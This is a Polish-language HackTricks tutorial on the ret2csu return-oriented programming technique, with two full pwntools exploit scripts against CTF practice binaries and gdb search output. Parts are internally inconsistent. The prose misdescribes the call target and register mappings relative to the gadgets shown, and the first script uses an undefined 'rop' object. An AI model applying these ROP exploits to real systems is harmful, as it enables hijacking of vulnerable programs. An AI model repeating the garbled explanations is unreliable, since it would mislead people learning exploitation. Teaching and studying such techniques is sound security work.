Ret2csu

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

ret2csu to technika hakowania stosowana, gdy próbujesz przejąć kontrolę nad programem, ale nie możesz znaleźć gadżetów, których zwykle używasz do manipulowania zachowaniem programu.

Gdy program korzysta z pewnych bibliotek (np. libc), ma wbudowane funkcje do zarządzania tym, jak różne części programu rozmawiają ze sobą. Wśród tych funkcji są ukryte perełki, które mogą działać jako nasze brakujące gadżety, zwłaszcza jedna o nazwie __libc_csu_init.

Magiczne gadżety w __libc_csu_init

W __libc_csu_init znajdują się dwie sekwencje instrukcji (gadżetów), które warto podkreślić:

  1. Pierwsza sekwencja pozwala nam ustawić wartości w kilku rejestrach (rbx, rbp, r12, r13, r14, r15). Są to miejsca, w których możemy przechowywać liczby lub adresy, których chcemy użyć później.

pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

Ten gadżet pozwala nam kontrolować te rejestry, wypychając wartości ze stosu do nich.

  1. Druga sekwencja wykorzystuje ustawione przez nas wartości do wykonania kilku czynności:

  • Przenosi konkretne wartości do innych rejestrów, przygotowując je do użycia jako parametry w funkcjach.

  • Wykonuje wywołanie do lokalizacji określonej przez dodanie do siebie wartości w r15 i rbx, a następnie pomnożenie rbx przez 8.

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. Być może nie znasz żadnego adresu do zapisania tam i potrzebujesz instrukcji ret. Zauważ, że drugi gadżet również kończy się na ret, ale będziesz musiał spełnić pewne warunki, aby go osiągnąć:

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

Warunki będą następujące:

  • [r12 + rbx*8] musi wskazywać na adres przechowujący funkcję wywoływalną (jeśli nie masz pomysłu i nie ma ASLR, możesz po prostu użyć funkcji _init):

  • Jeśli _init znajduje się pod adresem 0x400560, użyj GEF, aby wyszukać wskaźnik w pamięci do niego i spraw, aby [r12 + rbx*8] był adresem z wskaźnikiem do _init:

# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44     "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44     "\x60\x05\x40[...]"
  • rbp i rbx muszą mieć tę samą wartość, aby uniknąć skoku

  • Istnieją pewne pominięte operacje pop, które trzeba wziąć pod uwagę

RDI i RSI

Innym sposobem na kontrolowanie rdi i rsi z gadżetu ret2csu jest dostęp do konkretnych przesunięć:

Sprawdź tę stronę, aby uzyskać więcej informacji:

pageBROP - Blind Return Oriented Programming

Przykład

Użycie wywołania

Wyobraź sobie, że chcesz wykonać wywołanie systemowe lub wywołać funkcję taką jak write(), ale potrzebujesz określonych wartości w rejestrach rdx i rsi jako parametry. Zazwyczaj szukałbyś gadżetów, które ustawiają te rejestry bezpośrednio, ale nie możesz ich znaleźć.

Tu właśnie przychodzi z pomocą ret2csu:

  1. Ustaw Rejestry: Użyj pierwszego magicznego gadżetu, aby zdjąć wartości ze stosu i umieścić je w rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) i r15.

  2. Użyj Drugiego Gadżetu: Mając te rejestry ustawione, używasz drugiego gadżetu. Pozwala to przenieść wybrane wartości do rdx i rsi (odpowiednio z r14 i r13), przygotowując parametry do wywołania funkcji. Ponadto, kontrolując r15 i rbx, możesz sprawić, że program wywoła funkcję znajdującą się pod adresem, który obliczasz i umieszczasz w [r15 + rbx*8].

Masz przykład użycia tej techniki i jej wyjaśnienie tutaj, a to jest ostateczny exploit, który został użyty:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

Należy zauważyć, że poprzednie wykorzystanie nie ma na celu wykonania RCE, ma ono na celu jedynie wywołanie funkcji o nazwie win (pobierając adres win ze standardowego wejścia za pomocą wywołania gets w łańcuchu ROP i przechowując go w r15) z trzecim argumentem o wartości 0xdeadbeefcafed00d.

Ominięcie wywołania i dotarcie do ret

Następujące wykorzystanie zostało wyodrębnione z tej strony, gdzie używane jest ret2csu, ale zamiast używać wywołania, omija porównania i dociera do ret po wywołaniu:

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

Dlaczego nie używać libc bezpośrednio?

Zazwyczaj te przypadki są również podatne na ret2plt + ret2lib, ale czasami potrzebujesz kontrolować więcej parametrów niż łatwo jest to zrobić za pomocą gadżetów znalezionych bezpośrednio w libc. Na przykład funkcja write() wymaga trzech parametrów, a znalezienie gadżetów do ustawienia wszystkich tych parametrów bezpośrednio może być niemożliwe.

Last updated